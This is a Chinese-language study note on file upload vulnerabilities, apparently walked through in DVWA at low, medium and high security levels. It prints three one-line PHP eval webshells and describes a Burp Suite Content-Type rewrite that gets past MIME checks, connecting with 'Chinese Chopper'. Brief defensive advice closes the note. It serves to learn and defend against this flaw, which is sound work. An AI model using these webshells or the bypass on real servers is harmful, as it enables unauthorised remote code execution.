文件上传漏洞
文件上传漏洞
什么是文件上传漏洞:web应用中文件上传是很常见的功能,比如上传用户头像。文件上传漏洞指开发者未做好安全措施,让一些恶意攻击者上传了有危害的文件,比如一句话木马,比如某些病毒等。
问题出现的原因:未做好上传文件的检测和筛选,允许上传非允许格式的文件。比如本意是让用户上传图片文件做头像的,但是安全措施未做好,让黑客上传了.php文件。php中内容为“”,这就是一个webshell,可通过POST传参执行php功能,然后攻击者再通过这个websehll来操作。
OWASP的“low”程度安全政策:上传任何选中的文件,不做任何检测(这也是没经验的开发者常做的事,比如我,大学时写的数据库操作,就只有个try-catch进行异常处理,没有任何安全方面的考虑。)
如上图所示,代码直接上传了用户选定的文件,未作任何检查。
于是,编写一个如下所示的websehll文件,命名为webshell2.php
将其上传
从命令行中可得知,已成功上传
因为用的是POST方式,就不写form传参调用了,太麻烦,直接使用中国菜刀工具连接,如果用的GET方式,可以在地址栏直接传参
连接后可看到网站目录,进行文件上传、下载等操作
PS:这种方法只能使用PHP提供的函数,因为是通过eval()来实现的功能。
OWASP的“medium”程度安全政策:检测选中的文件的类型,是规定的格式才上传;类型检测通过MIME实现
medium程度安全策略代码
可见做了检测,要求是jpeg类型的,当然,也要求了大小。(现在可以理解为什么一些网站要求上传图片是某些格式了)
再次上传php文件
上传失败了
.MIME
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
在http中,MIME类型被定义在 content-type 中
每个MIME类型由2部分组传,前面是数据的大类别,比如audio、image等;后面定义具体的类,比如jpeg,png等
大类有:
比如我上传一个.ipg的文件,在发送的报文中的类型就是 type == "image/jpeg" 。下图是截取报文做效果展示:
规避方法
思路:设置一个代理,代理获得http报文后修改content-type,实现跳过检测
使用的软件为kali下 Burpsuit,这个软件的功能很多,代理、爬虫、扫描等,本次仅使用代理
Burpsuit的代理默认在8080端口,拦截外界的代理转发,只允许本机(127.0.0.0)使用;将其修改为不拦截外界的代理转发,所有IP均服务。
将windows下的火狐设置代理,代理为kali主机内的Burpsuit。
在Burpsui中开启拦截,即intercept is on
按下upload,浏览器显示等待
观察Burpsuit,拦截到报文,其content-type为application类,修改其为符合要求的 image/jpeg后点击forward进行转发即可
成功上传webshell2.php
high程度的安全政策,匹配后缀、大小,这是硬方法,比较麻烦但是有效。
代码
更改后缀后倒是可以传上去,比如改成webshell2.php.jpg,但是改了就没用了
此时可以用文件包含漏洞实现上传webshell,这个就下篇文件记录。现阶段我不知道如何绕过,该filename已确认失效。后续如果学习到绕过方法再来补充。
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || \(uploaded_ext == "JPEG") && (\)uploaded_size < 100000)) //$uploaded_ext为文件后缀名
websehll简介
口语化简单归类分为2类
小马:一句话木马
大马:代码量和功能更多,一般会进行二次编码加密,防止被防火墙检测到
webshell1.php
@eval($_GET['chopper']); //只可执行php函数,可以在地址栏传参
webshell2.php
@eval($_REQUEST['chopper']); //可使用Linux命令,但有权限问题
websell3.php
@eval($_POST['chopper']); //给中国菜刀类工具用,C/S架构。网页端不是不能传参,但专门写form来传参太麻烦了
防御
6.1使用类似high程度的防护,对上传文件后缀做检测,这样比较硬,需要考虑的格式也多,jpg,jpeg,png,gif等挺多的,难怪一些网站让上传的格式比较有限。
6.2使用WAF,防御很多攻击
PS:了解下CC攻击(攻击应用),和DDOS有什么区别